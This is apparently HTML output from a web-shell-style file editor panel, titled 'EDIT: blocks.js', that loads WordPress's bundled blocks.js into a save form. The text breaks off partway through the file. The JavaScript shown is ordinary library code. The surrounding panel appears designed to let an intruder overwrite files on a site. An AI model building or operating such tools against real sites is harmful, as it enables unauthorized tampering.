

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: blocks.js</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>(function() {
&quot;use strict&quot;;
var wp;
(wp ||= {}).blocks = (() =&gt; {
  var __create = Object.create;
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __getProtoOf = Object.getPrototypeOf;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __commonJS = (cb, mod) =&gt; function __require() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  };
  var __export = (target, all) =&gt; {
    for (var name in all)
      __defProp(target, name, { get: all[name], enumerable: true });
  };
  var __copyProps = (to, from, except, desc) =&gt; {
    if (from &amp;&amp; typeof from === &quot;object&quot; || typeof from === &quot;function&quot;) {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) &amp;&amp; key !== except)
          __defProp(to, key, { get: () =&gt; from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toESM = (mod, isNodeMode, target) =&gt; (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
    // If the importer is in node compatibility mode or this is not an ESM
    // file that has been converted to a CommonJS file using a Babel-
    // compatible transform (i.e. &quot;__esModule&quot; has not been set), then set
    // &quot;default&quot; to the CommonJS &quot;module.exports&quot; for node compatibility.
    isNodeMode || !mod || !mod.__esModule ? __defProp(target, &quot;default&quot;, { value: mod, enumerable: true }) : target,
    mod
  ));
  var __toCommonJS = (mod) =&gt; __copyProps(__defProp({}, &quot;__esModule&quot;, { value: true }), mod);

  // package-external:@wordpress/data
  var require_data = __commonJS({
    &quot;package-external:@wordpress/data&quot;(exports, module) {
      module.exports = window.wp.data;
    }
  });

  // package-external:@wordpress/i18n
  var require_i18n = __commonJS({
    &quot;package-external:@wordpress/i18n&quot;(exports, module) {
      module.exports = window.wp.i18n;
    }
  });

  // package-external:@wordpress/element
  var require_element = __commonJS({
    &quot;package-external:@wordpress/element&quot;(exports, module) {
      module.exports = window.wp.element;
    }
  });

  // package-external:@wordpress/dom
  var require_dom = __commonJS({
    &quot;package-external:@wordpress/dom&quot;(exports, module) {
      module.exports = window.wp.dom;
    }
  });

  // package-external:@wordpress/rich-text
  var require_rich_text = __commonJS({
    &quot;package-external:@wordpress/rich-text&quot;(exports, module) {
      module.exports = window.wp.richText;
    }
  });

  // package-external:@wordpress/deprecated
  var require_deprecated = __commonJS({
    &quot;package-external:@wordpress/deprecated&quot;(exports, module) {
      module.exports = window.wp.deprecated;
    }
  });

  // package-external:@wordpress/warning
  var require_warning = __commonJS({
    &quot;package-external:@wordpress/warning&quot;(exports, module) {
      module.exports = window.wp.warning;
    }
  });

  // package-external:@wordpress/private-apis
  var require_private_apis = __commonJS({
    &quot;package-external:@wordpress/private-apis&quot;(exports, module) {
      module.exports = window.wp.privateApis;
    }
  });

  // node_modules/remove-accents/index.js
  var require_remove_accents = __commonJS({
    &quot;node_modules/remove-accents/index.js&quot;(exports, module) {
      var characterMap = {
        &quot;\xC0&quot;: &quot;A&quot;,
        &quot;\xC1&quot;: &quot;A&quot;,
        &quot;\xC2&quot;: &quot;A&quot;,
        &quot;\xC3&quot;: &quot;A&quot;,
        &quot;\xC4&quot;: &quot;A&quot;,
        &quot;\xC5&quot;: &quot;A&quot;,
        &quot;\u1EA4&quot;: &quot;A&quot;,
        &quot;\u1EAE&quot;: &quot;A&quot;,
        &quot;\u1EB2&quot;: &quot;A&quot;,
        &quot;\u1EB4&quot;: &quot;A&quot;,
        &quot;\u1EB6&quot;: &quot;A&quot;,
        &quot;\xC6&quot;: &quot;AE&quot;,
        &quot;\u1EA6&quot;: &quot;A&quot;,
        &quot;\u1EB0&quot;: &quot;A&quot;,
        &quot;\u0202&quot;: &quot;A&quot;,
        &quot;\u1EA2&quot;: &quot;A&quot;,
        &quot;\u1EA0&quot;: &quot;A&quot;,
        &quot;\u1EA8&quot;: &quot;A&quot;,
        &quot;\u1EAA&quot;: &quot;A&quot;,
        &quot;\u1EAC&quot;: &quot;A&quot;,
        &quot;\xC7&quot;: &quot;C&quot;,
        &quot;\u1E08&quot;: &quot;C&quot;,
        &quot;\xC8&quot;: &quot;E&quot;,
        &quot;\xC9&quot;: &quot;E&quot;,
        &quot;\xCA&quot;: &quot;E&quot;,
        &quot;\xCB&quot;: &quot;E&quot;,
        &quot;\u1EBE&quot;: &quot;E&quot;,
        &quot;\u1E16&quot;: &quot;E&quot;,
        &quot;\u1EC0&quot;: &quot;E&quot;,
        &quot;\u1E14&quot;: &quot;E&quot;,
        &quot;\u1E1C&quot;: &quot;E&quot;,
        &quot;\u0206&quot;: &quot;E&quot;,
        &quot;\u1EBA&quot;: &quot;E&quot;,
        &quot;\u1EBC&quot;: &quot;E&quot;,
        &quot;\u1EB8&quot;: &quot;E&quot;,
        &quot;\u1EC2&quot;: &quot;E&quot;,
        &quot;\u1EC4&quot;: &quot;E&quot;,
        &quot;\u1EC6&quot;: &quot;E&quot;,
        &quot;\xCC&quot;: &quot;I&quot;,
        &quot;\xCD&quot;: &quot;I&quot;,
        &quot;\xCE&quot;: &quot;I&quot;,
        &quot;\xCF&quot;: &quot;I&quot;,
        &quot;\u1E2E&quot;: &quot;I&quot;,
        &quot;\u020A&quot;: &quot;I&quot;,
        &quot;\u1EC8&quot;: &quot;I&quot;,
        &quot;\u1ECA&quot;: &quot;I&quot;,
        &quot;\xD0&quot;: &quot;D&quot;,
        &quot;\xD1&quot;: &quot;N&quot;,
        &quot;\xD2&quot;: &quot;O&quot;,
        &quot;\xD3&quot;: &quot;O&quot;,
        &quot;\xD4&quot;: &quot;O&quot;,
        &quot;\xD5&quot;: &quot;O&quot;,
        &quot;\xD6&quot;: &quot;O&quot;,
        &quot;\xD8&quot;: &quot;O&quot;,
        &quot;\u1ED0&quot;: &quot;O&quot;,
        &quot;\u1E4C&quot;: &quot;O&quot;,
        &quot;\u1E52&quot;: &quot;O&quot;,
        &quot;\u020E&quot;: &quot;O&quot;,
        &quot;\u1ECE&quot;: &quot;O&quot;,
        &quot;\u1ECC&quot;: &quot;O&quot;,
        &quot;\u1ED4&quot;: &quot;O&quot;,
        &quot;\u1ED6&quot;: &quot;O&quot;,
        &quot;\u1ED8&quot;: &quot;O&quot;,
        &quot;\u1EDC&quot;: &quot;O&quot;,
        &quot;\u1EDE&quot;: &quot;O&quot;,
        &quot;\u1EE0&quot;: &quot;O&quot;,
        &quot;\u1EDA&quot;: &quot;O&quot;,
        &quot;\u1EE2&quot;: &quot;O&quot;,
        &quot;\xD9&quot;: &quot;U&quot;,
        &quot;\xDA&quot;: &quot;U&quot;,
        &quot;\xDB&quot;: &quot;U&quot;,
        &quot;\xDC&quot;: &quot;U&quot;,
        &quot;\u1EE6&quot;: &quot;U&quot;,
        &quot;\u1EE4&quot;: &quot;U&quot;,
        &quot;\u1EEC&quot;: &quot;U&quot;,
        &quot;\u1EEE&quot;: &quot;U&quot;,
        &quot;\u1EF0&quot;: &quot;U&quot;,
        &quot;\xDD&quot;: &quot;Y&quot;,
        &quot;\xE0&quot;: &quot;a&quot;,
        &quot;\xE1&quot;: &quot;a&quot;,
        &quot;\xE2&quot;: &quot;a&quot;,
        &quot;\xE3&quot;: &quot;a&quot;,
        &quot;\xE4&quot;: &quot;a&quot;,
        &quot;\xE5&quot;: &quot;a&quot;,
        &quot;\u1EA5&quot;: &quot;a&quot;,
        &quot;\u1EAF&quot;: &quot;a&quot;,
        &quot;\u1EB3&quot;: &quot;a&quot;,
        &quot;\u1EB5&quot;: &quot;a&quot;,
        &quot;\u1EB7&quot;: &quot;a&quot;,
        &quot;\xE6&quot;: &quot;ae&quot;,
        &quot;\u1EA7&quot;: &quot;a&quot;,
        &quot;\u1EB1&quot;: &quot;a&quot;,
        &quot;\u0203&quot;: &quot;a&quot;,
        &quot;\u1EA3&quot;: &quot;a&quot;,
        &quot;\u1EA1&quot;: &quot;a&quot;,
        &quot;\u1EA9&quot;: &quot;a&quot;,
        &quot;\u1EAB&quot;: &quot;a&quot;,
        &quot;\u1EAD&quot;: &quot;a&quot;,
        &quot;\xE7&quot;: &quot;c&quot;,
        &quot;\u1E09&quot;: &quot;c&quot;,
        &quot;\xE8&quot;: &quot;e&quot;,
        &quot;\xE9&quot;: &quot;e&quot;,
        &quot;\xEA&quot;: &quot;e&quot;,
        &quot;\xEB&quot;: &quot;e&quot;,
        &quot;\u1EBF&quot;: &quot;e&quot;,
        &quot;\u1E17&quot;: &quot;e&quot;,
        &quot;\u1EC1&quot;: &quot;e&quot;,
        &quot;\u1E15&quot;: &quot;e&quot;,
        &quot;\u1E1D&quot;: &quot;e&quot;,
        &quot;\u0207&quot;: &quot;e&quot;,
        &quot;\u1EBB&quot;: &quot;e&quot;,
        &quot;\u1EBD&quot;: &quot;e&quot;,
        &quot;\u1EB9&quot;: &quot;e&quot;,
        &quot;\u1EC3&quot;: &quot;e&quot;,
        &quot;\u1EC5&quot;: &quot;e&quot;,
        &quot;\u1EC7&quot;: &quot;e&quot;,
        &quot;\xEC&quot;: &quot;i&quot;,
        &quot;\xED&quot;: &quot;i&quot;,
        &quot;\xEE&quot;: &quot;i&quot;,
        &quot;\xEF&quot;: &quot;i&quot;,
        &quot;\u1E2F&quot;: &quot;i&quot;,
        &quot;\u020B&quot;: &quot;i&quot;,
        &quot;\u1EC9&quot;: &quot;i&quot;,
        &quot;\u1ECB&quot;: &quot;i&quot;,
        &quot;\xF0&quot;: &quot;d&quot;,
        &quot;\xF1&quot;: &quot;n&quot;,
        &quot;\xF2&quot;: &quot;o&quot;,
        &quot;\xF3&quot;: &quot;o&quot;,
        &quot;\xF4&quot;: &quot;o&quot;,
        &quot;\xF5&quot;: &quot;o&quot;,
        &quot;\xF6&quot;: &quot;o&quot;,
        &quot;\xF8&quot;: &quot;o&quot;,
        &quot;\u1ED1&quot;: &quot;o&quot;,
        &quot;\u1E4D&quot;: &quot;o&quot;,
        &quot;\u1E53&quot;: &quot;o&quot;,
        &quot;\u020F&quot;: &quot;o&quot;,
        &quot;\u1ECF&quot;: &quot;o&quot;,
        &quot;\u1ECD&quot;: &quot;o&quot;,
        &quot;\u1ED5&quot;: &quot;o&quot;,
        &quot;\u1ED7&quot;: &quot;o&quot;,
        &quot;\u1ED9&quot;: &quot;o&quot;,
        &quot;\u1EDD&quot;: &quot;o&quot;,
        &quot;\u1EDF&quot;: &quot;o&quot;,
        &quot;\u1EE1&quot;: &quot;o&quot;,
        &quot;\u1EDB&quot;: &quot;o&quot;,
        &quot;\u1EE3&quot;: &quot;o&quot;,
        &quot;\xF9&quot;: &quot;u&quot;,
        &quot;\xFA&quot;: &quot;u&quot;,
        &quot;\xFB&quot;: &quot;u&quot;,
        &quot;\xFC&quot;: &quot;u&quot;,
        &quot;\u1EE7&quot;: &quot;u&quot;,
        &quot;\u1EE5&quot;: &quot;u&quot;,
        &quot;\u1EED&quot;: &quot;u&quot;,
        &quot;\u1EEF&quot;: &quot;u&quot;,
        &quot;\u1EF1&quot;: &quot;u&quot;,
        &quot;\xFD&quot;: &quot;y&quot;,
        &quot;\xFF&quot;: &quot;y&quot;,
        &quot;\u0100&quot;: &quot;A&quot;,
        &quot;\u0101&quot;: &quot;a&quot;,
        &quot;\u0102&quot;: &quot;A&quot;,
        &quot;\u0103&quot;: &quot;a&quot;,
        &quot;\u0104&quot;: &quot;A&quot;,
        &quot;\u0105&quot;: &quot;a&quot;,
        &quot;\u0106&quot;: &quot;C&quot;,
        &quot;\u0107&quot;: &quot;c&quot;,
        &quot;\u0108&quot;: &quot;C&quot;,
        &quot;\u0109&quot;: &quot;c&quot;,
        &quot;\u010A&quot;: &quot;C&quot;,
        &quot;\u010B&quot;: &quot;c&quot;,
        &quot;\u010C&quot;: &quot;C&quot;,
        &quot;\u010D&quot;: &quot;c&quot;,
        &quot;C\u0306&quot;: &quot;C&quot;,
        &quot;c\u0306&quot;: &quot;c&quot;,
        &quot;\u010E&quot;: &quot;D&quot;,
        &quot;\u010F&quot;: &quot;d&quot;,
        &quot;\u0110&quot;: &quot;D&quot;,
        &quot;\u0111&quot;: &quot;d&quot;,
        &quot;\u0112&quot;: &quot;E&quot;,
        &quot;\u0113&quot;: &quot;e&quot;,
        &quot;\u0114&quot;: &quot;E&quot;,
        &quot;\u0115&quot;: &quot;e&quot;,
        &quot;\u0116&quot;: &quot;E&quot;,
        &quot;\u0117&quot;: &quot;e&quot;,
        &quot;\u0118&quot;: &quot;E&quot;,
        &quot;\u0119&quot;: &quot;e&quot;,
        &quot;\u011A&quot;: &quot;E&quot;,
        &quot;\u011B&quot;: &quot;e&quot;,
        &quot;\u011C&quot;: &quot;G&quot;,
        &quot;\u01F4&quot;: &quot;G&quot;,
        &quot;\u011D&quot;: &quot;g&quot;,
        &quot;\u01F5&quot;: &quot;g&quot;,
        &quot;\u011E&quot;: &quot;G&quot;,
        &quot;\u011F&quot;: &quot;g&quot;,
        &quot;\u0120&quot;: &quot;G&quot;,
        &quot;\u0121&quot;: &quot;g&quot;,
        &quot;\u0122&quot;: &quot;G&quot;,
        &quot;\u0123&quot;: &quot;g&quot;,
        &quot;\u0124&quot;: &quot;H&quot;,
        &quot;\u0125&quot;: &quot;h&quot;,
        &quot;\u0126&quot;: &quot;H&quot;,
        &quot;\u0127&quot;: &quot;h&quot;,
        &quot;\u1E2A&quot;: &quot;H&quot;,
        &quot;\u1E2B&quot;: &quot;h&quot;,
        &quot;\u0128&quot;: &quot;I&quot;,
        &quot;\u0129&quot;: &quot;i&quot;,
        &quot;\u012A&quot;: &quot;I&quot;,
        &quot;\u012B&quot;: &quot;i&quot;,
        &quot;\u012C&quot;: &quot;I&quot;,
        &quot;\u012D&quot;: &quot;i&quot;,
        &quot;\u012E&quot;: &quot;I&quot;,
        &quot;\u012F&quot;: &quot;i&quot;,
        &quot;\u0130&quot;: &quot;I&quot;,
        &quot;\u0131&quot;: &quot;i&quot;,
        &quot;\u0132&quot;: &quot;IJ&quot;,
        &quot;\u0133&quot;: &quot;ij&quot;,
        &quot;\u0134&quot;: &quot;J&quot;,
        &quot;\u0135&quot;: &quot;j&quot;,
        &quot;\u0136&quot;: &quot;K&quot;,
        &quot;\u0137&quot;: &quot;k&quot;,
        &quot;\u1E30&quot;: &quot;K&quot;,
        &quot;\u1E31&quot;: &quot;k&quot;,
        &quot;K\u0306&quot;: &quot;K&quot;,
        &quot;k\u0306&quot;: &quot;k&quot;,
        &quot;\u0139&quot;: &quot;L&quot;,
        &quot;\u013A&quot;: &quot;l&quot;,
        &quot;\u013B&quot;: &quot;L&quot;,
        &quot;\u013C&quot;: &quot;l&quot;,
        &quot;\u013D&quot;: &quot;L&quot;,
        &quot;\u013E&quot;: &quot;l&quot;,
        &quot;\u013F&quot;: &quot;L&quot;,
        &quot;\u0140&quot;: &quot;l&quot;,
        &quot;\u0141&quot;: &quot;l&quot;,
        &quot;\u0142&quot;: &quot;l&quot;,
        &quot;\u1E3E&quot;: &quot;M&quot;,
        &quot;\u1E3F&quot;: &quot;m&quot;,
        &quot;M\u0306&quot;: &quot;M&quot;,
        &quot;m\u0306&quot;: &quot;m&quot;,
        &quot;\u0143&quot;: &quot;N&quot;,
        &quot;\u0144&quot;: &quot;n&quot;,
        &quot;\u0145&quot;: &quot;N&quot;,
        &quot;\u0146&quot;: &quot;n&quot;,
        &quot;\u0147&quot;: &quot;N&quot;,
        &quot;\u0148&quot;: &quot;n&quot;,
        &quot;\u0149&quot;: &quot;n&quot;,
        &quot;N\u0306&quot;: &quot;N&quot;,
        &quot;n\u0306&quot;: &quot;n&quot;,
        &quot;\u014C&quot;: &quot;O&quot;,
        &quot;\u014D&quot;: &quot;o&quot;,
        &quot;\u014E&quot;: &quot;O&quot;,
        &quot;\u014F&quot;: &quot;o&quot;,
        &quot;\u0150&quot;: &quot;O&quot;,
        &quot;\u0151&quot;: &quot;o&quot;,
        &quot;\u0152&quot;: &quot;OE&quot;,
        &quot;\u0153&quot;: &quot;oe&quot;,
        &quot;P\u0306&quot;: &quot;P&quot;,
        &quot;p\u0306&quot;: &quot;p&quot;,
        &quot;\u0154&quot;: &quot;R&quot;,
        &quot;\u0155&quot;: &quot;r&quot;,
        &quot;\u0156&quot;: &quot;R&quot;,
        &quot;\u0157&quot;: &quot;r&quot;,
        &quot;\u0158&quot;: &quot;R&quot;,
        &quot;\u0159&quot;: &quot;r&quot;,
        &quot;R\u0306&quot;: &quot;R&quot;,
        &quot;r\u0306&quot;: &quot;r&quot;,
        &quot;\u0212&quot;: &quot;R&quot;,
        &quot;\u0213&quot;: &quot;r&quot;,
        &quot;\u015A&quot;: &quot;S&quot;,
        &quot;\u015B&quot;: &quot;s&quot;,
        &quot;\u015C&quot;: &quot;S&quot;,
        &quot;\u015D&quot;: &quot;s&quot;,
        &quot;\u015E&quot;: &quot;S&quot;,
        &quot;\u0218&quot;: &quot;S&quot;,
        &quot;\u0219&quot;: &quot;s&quot;,
        &quot;\u015F&quot;: &quot;s&quot;,
        &quot;\u0160&quot;: &quot;S&quot;,
        &quot;\u0161&quot;: &quot;s&quot;,
        &quot;\u0162&quot;: &quot;T&quot;,
        &quot;\u0163&quot;: &quot;t&quot;,
        &quot;\u021B&quot;: &quot;t&quot;,
        &quot;\u021A&quot;: &quot;T&quot;,
        &quot;\u0164&quot;: &quot;T&quot;,
        &quot;\u0165&quot;: &quot;t&quot;,
        &quot;\u0166&quot;: &quot;T&quot;,
        &quot;\u0167&quot;: &quot;t&quot;,
        &quot;T\u0306&quot;: &quot;T&quot;,
        &quot;t\u0306&quot;: &quot;t&quot;,
        &quot;\u0168&quot;: &quot;U&quot;,
        &quot;\u0169&quot;: &quot;u&quot;,
        &quot;\u016A&quot;: &quot;U&quot;,
        &quot;\u016B&quot;: &quot;u&quot;,
        &quot;\u016C&quot;: &quot;U&quot;,
        &quot;\u016D&quot;: &quot;u&quot;,
        &quot;\u016E&quot;: &quot;U&quot;,
        &quot;\u016F&quot;: &quot;u&quot;,
        &quot;\u0170&quot;: &quot;U&quot;,
        &quot;\u0171&quot;: &quot;u&quot;,
        &quot;\u0172&quot;: &quot;U&quot;,
        &quot;\u0173&quot;: &quot;u&quot;,
        &quot;\u0216&quot;: &quot;U&quot;,
        &quot;\u0217&quot;: &quot;u&quot;,
        &quot;V\u0306&quot;: &quot;V&quot;,
        &quot;v\u0306&quot;: &quot;v&quot;,
        &quot;\u0174&quot;: &quot;W&quot;,
        &quot;\u0175&quot;: &quot;w&quot;,
        &quot;\u1E82&quot;: &quot;W&quot;,
        &quot;\u1E83&quot;: &quot;w&quot;,
        &quot;X\u0306&quot;: &quot;X&quot;,
        &quot;x\u0306&quot;: &quot;x&quot;,
        &quot;\u0176&quot;: &quot;Y&quot;,
        &quot;\u0177&quot;: &quot;y&quot;,
        &quot;\u0178&quot;: &quot;Y&quot;,
        &quot;Y\u0306&quot;: &quot;Y&quot;,
        &quot;y\u0306&quot;: &quot;y&quot;,
        &quot;\u0179&quot;: &quot;Z&quot;,
        &quot;\u017A&quot;: &quot;z&quot;,
        &quot;\u017B&quot;: &quot;Z&quot;,
        &quot;\u017C&quot;: &quot;z&quot;,
        &quot;\u017D&quot;: &quot;Z&quot;,
        &quot;\u017E&quot;: &quot;z&quot;,
        &quot;\u017F&quot;: &quot;s&quot;,
        &quot;\u0192&quot;: &quot;f&quot;,
        &quot;\u01A0&quot;: &quot;O&quot;,
        &quot;\u01A1&quot;: &quot;o&quot;,
        &quot;\u01AF&quot;: &quot;U&quot;,
        &quot;\u01B0&quot;: &quot;u&quot;,
        &quot;\u01CD&quot;: &quot;A&quot;,
        &quot;\u01CE&quot;: &quot;a&quot;,
        &quot;\u01CF&quot;: &quot;I&quot;,
        &quot;\u01D0&quot;: &quot;i&quot;,
        &quot;\u01D1&quot;: &quot;O&quot;,
        &quot;\u01D2&quot;: &quot;o&quot;,
        &quot;\u01D3&quot;: &quot;U&quot;,
        &quot;\u01D4&quot;: &quot;u&quot;,
        &quot;\u01D5&quot;: &quot;U&quot;,
        &quot;\u01D6&quot;: &quot;u&quot;,
        &quot;\u01D7&quot;: &quot;U&quot;,
        &quot;\u01D8&quot;: &quot;u&quot;,
        &quot;\u01D9&quot;: &quot;U&quot;,
        &quot;\u01DA&quot;: &quot;u&quot;,
        &quot;\u01DB&quot;: &quot;U&quot;,
        &quot;\u01DC&quot;: &quot;u&quot;,
        &quot;\u1EE8&quot;: &quot;U&quot;,
        &quot;\u1EE9&quot;: &quot;u&quot;,
        &quot;\u1E78&quot;: &quot;U&quot;,
        &quot;\u1E79&quot;: &quot;u&quot;,
        &quot;\u01FA&quot;: &quot;A&quot;,
        &quot;\u01FB&quot;: &quot;a&quot;,
        &quot;\u01FC&quot;: &quot;AE&quot;,
        &quot;\u01FD&quot;: &quot;ae&quot;,
        &quot;\u01FE&quot;: &quot;O&quot;,
        &quot;\u01FF&quot;: &quot;o&quot;,
        &quot;\xDE&quot;: &quot;TH&quot;,
        &quot;\xFE&quot;: &quot;th&quot;,
        &quot;\u1E54&quot;: &quot;P&quot;,
        &quot;\u1E55&quot;: &quot;p&quot;,
        &quot;\u1E64&quot;: &quot;S&quot;,
        &quot;\u1E65&quot;: &quot;s&quot;,
        &quot;X\u0301&quot;: &quot;X&quot;,
        &quot;x\u0301&quot;: &quot;x&quot;,
        &quot;\u0403&quot;: &quot;\u0413&quot;,
        &quot;\u0453&quot;: &quot;\u0433&quot;,
        &quot;\u040C&quot;: &quot;\u041A&quot;,
        &quot;\u045C&quot;: &quot;\u043A&quot;,
        &quot;A\u030B&quot;: &quot;A&quot;,
        &quot;a\u030B&quot;: &quot;a&quot;,
        &quot;E\u030B&quot;: &quot;E&quot;,
        &quot;e\u030B&quot;: &quot;e&quot;,
        &quot;I\u030B&quot;: &quot;I&quot;,
        &quot;i\u030B&quot;: &quot;i&quot;,
        &quot;\u01F8&quot;: &quot;N&quot;,
        &quot;\u01F9&quot;: &quot;n&quot;,
        &quot;\u1ED2&quot;: &quot;O&quot;,
        &quot;\u1ED3&quot;: &quot;o&quot;,
        &quot;\u1E50&quot;: &quot;O&quot;,
        &quot;\u1E51&quot;: &quot;o&quot;,
        &quot;\u1EEA&quot;: &quot;U&quot;,
        &quot;\u1EEB&quot;: &quot;u&quot;,
        &quot;\u1E80&quot;: &quot;W&quot;,
        &quot;\u1E81&quot;: &quot;w&quot;,
        &quot;\u1EF2&quot;: &quot;Y&quot;,
        &quot;\u1EF3&quot;: &quot;y&quot;,
        &quot;\u0200&quot;: &quot;A&quot;,
        &quot;\u0201&quot;: &quot;a&quot;,
        &quot;\u0204&quot;: &quot;E&quot;,
        &quot;\u0205&quot;: &quot;e&quot;,
        &quot;\u0208&quot;: &quot;I&quot;,
        &quot;\u0209&quot;: &quot;i&quot;,
        &quot;\u020C&quot;: &quot;O&quot;,
        &quot;\u020D&quot;: &quot;o&quot;,
        &quot;\u0210&quot;: &quot;R&quot;,
        &quot;\u0211&quot;: &quot;r&quot;,
        &quot;\u0214&quot;: &quot;U&quot;,
        &quot;\u0215&quot;: &quot;u&quot;,
        &quot;B\u030C&quot;: &quot;B&quot;,
        &quot;b\u030C&quot;: &quot;b&quot;,
        &quot;\u010C\u0323&quot;: &quot;C&quot;,
        &quot;\u010D\u0323&quot;: &quot;c&quot;,
        &quot;\xCA\u030C&quot;: &quot;E&quot;,
        &quot;\xEA\u030C&quot;: &quot;e&quot;,
        &quot;F\u030C&quot;: &quot;F&quot;,
        &quot;f\u030C&quot;: &quot;f&quot;,
        &quot;\u01E6&quot;: &quot;G&quot;,
        &quot;\u01E7&quot;: &quot;g&quot;,
        &quot;\u021E&quot;: &quot;H&quot;,
        &quot;\u021F&quot;: &quot;h&quot;,
        &quot;J\u030C&quot;: &quot;J&quot;,
        &quot;\u01F0&quot;: &quot;j&quot;,
        &quot;\u01E8&quot;: &quot;K&quot;,
        &quot;\u01E9&quot;: &quot;k&quot;,
        &quot;M\u030C&quot;: &quot;M&quot;,
        &quot;m\u030C&quot;: &quot;m&quot;,
        &quot;P\u030C&quot;: &quot;P&quot;,
        &quot;p\u030C&quot;: &quot;p&quot;,
        &quot;Q\u030C&quot;: &quot;Q&quot;,
        &quot;q\u030C&quot;: &quot;q&quot;,
        &quot;\u0158\u0329&quot;: &quot;R&quot;,
        &quot;\u0159\u0329&quot;: &quot;r&quot;,
        &quot;\u1E66&quot;: &quot;S&quot;,
        &quot;\u1E67&quot;: &quot;s&quot;,
        &quot;V\u030C&quot;: &quot;V&quot;,
        &quot;v\u030C&quot;: &quot;v&quot;,
        &quot;W\u030C&quot;: &quot;W&quot;,
        &quot;w\u030C&quot;: &quot;w&quot;,
        &quot;X\u030C&quot;: &quot;X&quot;,
        &quot;x\u030C&quot;: &quot;x&quot;,
        &quot;Y\u030C&quot;: &quot;Y&quot;,
        &quot;y\u030C&quot;: &quot;y&quot;,
        &quot;A\u0327&quot;: &quot;A&quot;,
        &quot;a\u0327&quot;: &quot;a&quot;,
        &quot;B\u0327&quot;: &quot;B&quot;,
        &quot;b\u0327&quot;: &quot;b&quot;,
        &quot;\u1E10&quot;: &quot;D&quot;,
        &quot;\u1E11&quot;: &quot;d&quot;,
        &quot;\u0228&quot;: &quot;E&quot;,
        &quot;\u0229&quot;: &quot;e&quot;,
        &quot;\u0190\u0327&quot;: &quot;E&quot;,
        &quot;\u025B\u0327&quot;: &quot;e&quot;,
        &quot;\u1E28&quot;: &quot;H&quot;,
        &quot;\u1E29&quot;: &quot;h&quot;,
        &quot;I\u0327&quot;: &quot;I&quot;,
        &quot;i\u0327&quot;: &quot;i&quot;,
        &quot;\u0197\u0327&quot;: &quot;I&quot;,
        &quot;\u0268\u0327&quot;: &quot;i&quot;,
        &quot;M\u0327&quot;: &quot;M&quot;,
        &quot;m\u0327&quot;: &quot;m&quot;,
        &quot;O\u0327&quot;: &quot;O&quot;,
        &quot;o\u0327&quot;: &quot;o&quot;,
        &quot;Q\u0327&quot;: &quot;Q&quot;,
        &quot;q\u0327&quot;: &quot;q&quot;,
        &quot;U\u0327&quot;: &quot;U&quot;,
        &quot;u\u0327&quot;: &quot;u&quot;,
        &quot;X\u0327&quot;: &quot;X&quot;,
        &quot;x\u0327&quot;: &quot;x&quot;,
        &quot;Z\u0327&quot;: &quot;Z&quot;,
        &quot;z\u0327&quot;: &quot;z&quot;,
        &quot;\u0439&quot;: &quot;\u0438&quot;,
        &quot;\u0419&quot;: &quot;\u0418&quot;,
        &quot;\u0451&quot;: &quot;\u0435&quot;,
        &quot;\u0401&quot;: &quot;\u0415&quot;
      };
      var chars = Object.keys(characterMap).join(&quot;|&quot;);
      var allAccents = new RegExp(chars, &quot;g&quot;);
      var firstAccent = new RegExp(chars, &quot;&quot;);
      function matcher3(match) {
        return characterMap[match];
      }
      var removeAccents2 = function(string) {
        return string.replace(allAccents, matcher3);
      };
      var hasAccents = function(string) {
        return !!string.match(firstAccent);
      };
      module.exports = removeAccents2;
      module.exports.has = hasAccents;
      module.exports.remove = removeAccents2;
    }
  });

  // node_modules/fast-deep-equal/es6/index.js
  var require_es6 = __commonJS({
    &quot;node_modules/fast-deep-equal/es6/index.js&quot;(exports, module) {
      &quot;use strict&quot;;
      module.exports = function equal(a2, b3) {
        if (a2 === b3) return true;
        if (a2 &amp;&amp; b3 &amp;&amp; typeof a2 == &quot;object&quot; &amp;&amp; typeof b3 == &quot;object&quot;) {
          if (a2.constructor !== b3.constructor) return false;
          var length, i2, keys;
          if (Array.isArray(a2)) {
            length = a2.length;
            if (length != b3.length) return false;
            for (i2 = length; i2-- !== 0; )
              if (!equal(a2[i2], b3[i2])) return false;
            return true;
          }
          if (a2 instanceof Map &amp;&amp; b3 instanceof Map) {
            if (a2.size !== b3.size) return false;
            for (i2 of a2.entries())
              if (!b3.has(i2[0])) return false;
            for (i2 of a2.entries())
              if (!equal(i2[1], b3.get(i2[0]))) return false;
            return true;
          }
          if (a2 instanceof Set &amp;&amp; b3 instanceof Set) {
            if (a2.size !== b3.size) return false;
            for (i2 of a2.entries())
              if (!b3.has(i2[0])) return false;
            return true;
          }
          if (ArrayBuffer.isView(a2) &amp;&amp; ArrayBuffer.isView(b3)) {
            length = a2.length;
            if (length != b3.length) return false;
            for (i2 = length; i2-- !== 0; )
              if (a2[i2] !== b3[i2]) return false;
            return true;
          }
          if (a2.constructor === RegExp) return a2.source === b3.source &amp;&amp; a2.flags === b3.flags;
          if (a2.valueOf !== Object.prototype.valueOf) return a2.valueOf() === b3.valueOf();
          if (a2.toString !== Object.prototype.toString) return a2.toString() === b3.toString();
          keys = Object.keys(a2);
          length = keys.length;
          if (length !== Object.keys(b3).length) return false;
          for (i2 = length; i2-- !== 0; )
            if (!Object.prototype.hasOwnProperty.call(b3, keys[i2])) return false;
          for (i2 = length; i2-- !== 0; ) {
            var key = keys[i2];
            if (!equal(a2[key], b3[key])) return false;
          }
          return true;
        }
        return a2 !== a2 &amp;&amp; b3 !== b3;
      };
    }
  });

  // packages/blocks/node_modules/react-is/cjs/react-is.development.js
  var require_react_is_development = __commonJS({
    &quot;packages/blocks/node_modules/react-is/cjs/react-is.development.js&quot;(exports) {
      &quot;use strict&quot;;
      if (true) {
        (function() {
          &quot;use strict&quot;;
          var REACT_ELEMENT_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.element&quot;);
